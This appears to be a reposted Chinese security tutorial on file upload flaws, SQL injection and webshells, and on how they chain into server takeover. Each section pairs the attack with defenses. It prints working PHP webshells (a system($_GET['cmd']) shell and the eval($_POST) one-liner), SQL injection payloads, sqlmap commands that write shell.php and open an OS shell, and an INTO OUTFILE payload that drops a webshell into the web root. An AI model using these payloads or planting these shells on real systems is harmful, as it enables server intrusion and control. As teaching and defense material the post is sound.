文章目录

  • 文件上传漏洞
  • SQL注入漏洞
  • WebShell
  • 三者的核心关联:攻击链闭环

文件上传漏洞


文件上传漏洞(File Upload Vulnerability)

当Web应用允许用户上传文件但未实施充分的安全验证时,攻击者可上传恶意文件(如WebShell、病毒等),进而控制服务器或实施攻击

核心漏洞成因

1,验证缺失:

  • 文件类型仅验证MIME类型(易伪造)
  • 未验证文件内容签名(如PNG头)
  • 未限制危险扩展名(.php, .jsp等)

2,路径控制问题:

  • 允许用户控制上传路径
  • 未隔离上传目录的执行权限

3,解析漏洞利用:

  • Apache:shell .php .jpg 可能被解析为PHP
  • IIS:shell .asp; .jpg 被当作ASP执行
  • Nginx:shell .jpg/ .php 路径解析漏洞

攻击流程:

攻击者构造恶意文件
绕过前端验证
伪造Content-Type/文件头
利用解析漏洞
上传至服务器
通过URL直接访问执行

高危扩展名示例:

语言危险扩展名
PHP.php .phtml .phar
ASP.asp .aspx .cer
JSP.jsp .jspx
其他.htaccess(覆盖配置)

防御方案:

1.文件验证三原则:

  • 扩展名白名单(仅允许.jpg/.png等)
  • 文件内容签名检测(验证真实类型)
  • 重命名文件(使用随机哈希值)

2.权限控制:

# Nginx配置示例:禁止上传目录执行脚本
location ^~ /uploads/ {location ~ \.php$ { deny all; }  # 仅禁止上传目录的PHP执行
}

3.沙箱隔离:

  • 使用独立域名托管用户文件
  • 云存储服务(如AWS S3)设置只读权限


SQL注入漏洞


SQL注入漏洞(SQL Injection)

攻击者通过操纵应用程序的数据库查询,插入恶意SQL代码,从而读取、修改或删除数据库内容


漏洞关键点

?id=1' or 1=1 --+
?id=1 union select database()

等等


注入类型

类型攻击方式危害等级
联合查询注入UNION SELECT 1,@@version,3⭐⭐⭐⭐
布尔盲注AND SUBSTR(database(),1,1)=‘a’⭐⭐⭐
时间盲注IF(1=1,SLEEP(5),0)⭐⭐⭐
报错注入AND GTID_SUBSET(@@version,1)⭐⭐⭐⭐
堆叠查询; SHOW TABLES–⭐⭐⭐⭐

自动化攻击工具

  • sqlmap:自动检测并利用SQL注入
  • 常用命令
sqlmap -u "http://site.com/?id=1" --dbs
sqlmap -u "http://site.com/?id=1" --file-write=shell.php --file-dest=/var/www/html/shell.php --os-shell

防御策略

1.参数化查询(最佳实践)

# Python示例
cursor.execute("SELECT * FROM users WHERE id = %s", (user_id,))

2.深度防御

  • 输入过滤:过滤 " ; –+ 等特殊字符
  • 最小权限:数据库账户禁用FILE、DROP等权限
  • WAF规则:拦截常见注入模式(如UNION SELECT

WebShell


WebShell

一种驻留在Web服务器上的恶意脚本文件,为攻击者提供远程控制接口


常见WebShell功能

<?php
if(isset($_GET['cmd'])) {system($_GET['cmd']);
}
?>

最经典的WebShell

一句话木马

<?php @eval($_POST[hhh]); ?>

高级WebShell特性

1.隐蔽通信

  • 加密传输(AES/Base64)
  • 伪装成图片文件(<?php ... ?> 后接图片数据)

2.多功能模块

  • 数据库管理
  • 文件管理器
  • 内网扫描
  • 端口转发

植入路径统计

植入方式占比典型案例
文件上传漏洞62%论坛头像上传
SQL注入写入28%利用SQL写文件功能
服务器配置漏洞7%FTP弱密码爆破
其他3%CMS供应链攻击

检测与清除

1.特征检测

  • 关键词:eval( )system( )base64_decode( )
  • 文件哈希:对比官方文件校验值

2.行为监控

# Linux实时监控Web目录
auditctl -w /var/www/html -p wa -k webshell  # 监控write+attribute变更

3.专业工具

  • 开源:河马WebShell查杀、LMD
  • 商业:阿里云云盾、腾讯云网站管家

三者的核心关联:攻击链闭环

直接投递
数据库写文件
提权/渗透
提权/渗透
文件上传漏洞
WebShell
SQL注入漏洞
服务器控制

1.文件上传漏洞 → WebShell

  • 直接通道:攻击者利用上传功能将WebShell伪装成图片/文档上传至服务器
  • 关键点:绕过文件类型检测(如修改Content-Type为image/jpeg
  • 结果:通过访问上传路径直接获得服务器控制权(如 http://site.com/uploads/shell.jpg

2.SQL注入漏洞 → WebShell

  • 间接通道:当注入点具备 写文件权限FILE权限 + secure_file_priv宽松)时:
UNION SELECT "<?php system($_GET['cmd']); ?>"
INTO OUTFILE '/var/www/html/shell.php'--+
  • 关键点:需已知Web绝对路径(通过报错/暴力猜解获取)
  • 结果:在Web目录生成WebShell文件(如 shell.php

3.WebShell → 扩大攻击面

  • 控制服务器:通过WebShell执行命令(如 cat /etc/passwd)
  • 反哺漏洞
    读取服务器配置文件 → 发现数据库账号密码 → 发动更深度SQL注入
    扫描网站源码 → 发现新上传点 → 利用文件上传漏洞二次渗透
  • 横向移动:以当前服务器为跳板,攻击内网其他系统

防御关键:切断攻击链

攻击环节防御措施
文件上传漏洞文件内容签名校验 + 随机重命名 + 禁用上传目录执行权限
SQL注入漏洞参数化查询 + 数据库账户降权(禁用FILE权限) + 设置secure_file_priv=NULL
WebShell植入文件完整性监控(如Tripwire) + Web目录禁用写权限 + 实时扫描恶意脚本

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/pingmian/90561.shtml
繁体地址,请注明出处:http://hk.pswp.cn/pingmian/90561.shtml
英文地址,请注明出处:http://en.pswp.cn/pingmian/90561.shtml

如若内容造成侵权/违法违规/事实不符,请联系英文站点网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【对比】群体智能优化算法 vs 贝叶斯优化

在机器学习、工程优化和科学计算中&#xff0c;优化算法的选择直接影响问题求解的效率与效果。群体智能优化算法&#xff08;Swarm Intelligence, SI&#xff09;和贝叶斯优化&#xff08;Bayesian Optimization, BO&#xff09;是两种截然不同的优化范式&#xff0c;分别以不同…

LLMs之Agent:ChatGPT Agent发布—统一代理系统将研究与行动无缝对接,开启智能助理新时代

LLMs之Agent&#xff1a;ChatGPT Agent发布—统一代理系统将研究与行动无缝对接&#xff0c;开启智能助理新时代 目录 OpenAI重磅发布ChatGPT Agent—统一代理系统将研究与行动无缝对接&#xff0c;开启智能助理新时代 第一部分&#xff1a;Operator 和深度研究的自然演进 第…

Linux726 raid0,raid1,raid5;raid 创建、保存、停止、删除

RAID创建 创建raid0 安装mdadm yum install mdadm mdadm --create /dev/md0 --raid-devices2 /dev/sdb5 /dev/sdb6 [rootsamba caozx26]# mdadm --create /dev/md0 --raid-devices2 /dev/sdb3 /dev/sdb5 --level0 mdadm: Defaulting to version 1.2 metadata mdadm: array /dev…

深入剖析 MetaGPT 中的提示词工程:WriteCode 动作的提示词设计

今天&#xff0c;我想和大家分享关于 AI 提示词工程的文章。提示词&#xff08;Prompt&#xff09;是大型语言模型&#xff08;LLM&#xff09;生成高质量输出的关键&#xff0c;而在像 MetaGPT 这样的 AI 驱动软件开发框架中&#xff0c;提示词的设计直接决定了代码生成的可靠…

关于 ESXi 中 “ExcelnstalledOnly 已禁用“ 的解决方案

第一步&#xff1a;使用ssh登录esxi esxcli system settings advanced list -o /User/execInstalledOnly可能会得到以下内容 esxcli system settings advanced list -o /User/execInstalledOnlyPath: /User/ExecInstalledOnlyType: integerInt Value: 0Default Int Value: 1Min…

HTML5 Canvas 绘制圆弧效果

HTML5 Canvas 绘制圆弧效果 以下是一个使用HTML5 Canvas绘制圆弧的完整示例&#xff0c;你可以直接在浏览器中运行看到效果&#xff1a; <!DOCTYPE html> <html lang"zh-CN"> <head><meta charset"UTF-8"><meta name"view…

智能Agent场景实战指南 Day 18:Agent决策树与规划能力

【智能Agent场景实战指南 Day 18】Agent决策树与规划能力 开篇 欢迎来到"智能Agent场景实战指南"系列的第18天&#xff01;今天我们将深入探讨智能Agent的核心能力之一&#xff1a;决策树与规划能力。在现代业务场景中&#xff0c;Agent需要具备类似人类的决策能力…

AI 编程工具 Trae 重要的升级。。。

大家好&#xff0c;我是樱木。 今天打开 Trae &#xff0c;已经看到它进行图标升级&#xff0c;之前的图标&#xff0c;国际和国内版本长得非常像&#xff0c;现在做了很明显的区分&#xff0c;这点给 Trae 团队点个赞。 自从 Claude 使出了压力以来&#xff0c;Cursor 锁区&…

排序算法,咕咕咕

1.选择排序void selectsort(vector<int>& v) { for(int i0;i<v.size()-1;i) {int minii;for(int ji1;j<v.size();j){if(v[i]>v[j]){minij;}}if(mini!i)swap(v[i],v[mini]); } }2.堆排序void adjustdown(vector<int>& v,int root,int size) { int …

数据库查询系统——pyqt+python实现Excel内查课

一、引言 数据库查询系统处处存在&#xff0c;在教育信息化背景下&#xff0c;数据库查询技术更已深度融入教务管理场景。本系统采用轻量化架构&#xff0c;结合Excel课表&#xff0c;通过PythonPyQt5实现跨平台桌面应用&#xff0c;以实现简单查课效果。 二、GUI界面设计 使用…

base64魔改算法 | jsvmp日志分析并还原

前言 上一篇我们讲了标准 base64 算法还原&#xff0c;为了进一步学习 base64 算法特点&#xff0c;本文将结合 jsvmp 日志&#xff0c;实战还原出 base64 魔改算法。 为了方便大家学习&#xff0c;我将入参和上篇文章一样&#xff0c;入参为 Hello, World!。 插桩 在js代码中&…

vue3笔记(2)自用

目录 一、作用域插槽 二、pinia的使用 一、Pinia 基本概念与用法 1. 安装与初始化 2. 创建 Store 3. 在组件中使用 Store 4. 高级用法 5、storeToRefs 二、Pinia 与 Vuex 的主要区别 三、为什么选择 Pinia&#xff1f; 三、定义全局指令 1.封装通用 DOM 操作&#…

大模型面试回答,介绍项目

1. 模型准备与转换&#xff08;PC端/服务器&#xff09;你先在PC上下载或训练好大语言模型&#xff08;如HuggingFace格式&#xff09;。用RKLLM-Toolkit把模型转换成瑞芯微NPU能用的专用格式&#xff08;.rkllm&#xff09;&#xff0c;并可选择量化优化。把转换好的模型文件拷…

Oracle 19.20未知BUG导致oraagent进程内存泄漏

故障现象查询操作系统进程的使用排序&#xff0c;这里看到oraagent的物理内存达到16G&#xff0c;远远超过正常环境&#xff08;正常环境在19.20大概就是100M多一点&#xff09;[rootorastd tmp]# ./hmem|more PID NAME VIRT(kB) SHARED(kB) R…

尝试几道算法题,提升python编程思维

一、跳跃游戏题目描述&#xff1a; 给定一个非负整数数组 nums&#xff0c;你最初位于数组的第一个下标。数组中的每个元素代表你在该位置可以跳跃的最大长度。判断你是否能够到达最后一个下标。示例&#xff1a;输入&#xff1a;nums [2,3,1,1,4] → 输出&#xff1a;True输入…

【菜狗处理脏数据】对很多个不同时间序列数据的文件聚类—20250722

目录 具体做法 可视化方法1&#xff1a;PCA降维 可视化方法2、TSNE降维可视化&#xff08;非线性降维&#xff0c;更适合聚类&#xff09; 可视化方法3、轮廓系数评判好坏 每个文件有很多行列的信息&#xff0c;每列是一个驾驶相关的数据&#xff0c;需要对这些文件进行聚类…

Qwen-MT:翻得快,译得巧

我们再向大家介绍一位新朋友&#xff1a;机器翻译模型Qwen-MT。开发者朋友们可通过Qwen API&#xff08;qwen-mt-turbo&#xff09;&#xff0c;来直接体验它又快又准的翻译技能。 本次更新基于强大的 Qwen3 模型&#xff0c;进一步使用超大规模多语言和翻译数据对模型进行训练…

在 OceanBase 中,使用 TO_CHAR 函数 直接转换日期格式,简洁高效的解决方案

SQL语句SELECT TO_CHAR(TO_DATE(your_column, DD-MON-YY), YYYY-MM-DD) AS formatted_date FROM your_table;关键说明&#xff1a;核心函数&#xff1a;TO_DATE(30-三月-15, DD-MON-YY) → 将字符串转为日期类型TO_CHAR(..., YYYY-MM-DD) → 格式化为 2015-03-30处理中文月份&a…

pnpm运行electronic项目报错,npm运行正常。electronic项目打包为exe报错

pnpm运行electronic项目报错 使用 pnpm 运行 electronic 项目报错&#xff0c;npm 运行正常&#xff0c;报错内容如下 error during start dev server and electron app: Error: Electron uninstallat getElectronPath (file:///E:/project/xxx-vue/node_modules/.pnpm/elect…

8️⃣ 高级特性—— 列表生成式

文章目录&#x1f9e0; 总结1. 基本语法2. 加筛选条件&#x1f501; 双层循环&#xff08;全排列&#xff09;&#x1f4c2; 遍历目录&#x1f511; 遍历字典&#x1f521; 转小写3. if 和 if...else 的区别4. 练习题&#x1f9e0; 总结 特性用法示例基础语法[x for x in iter…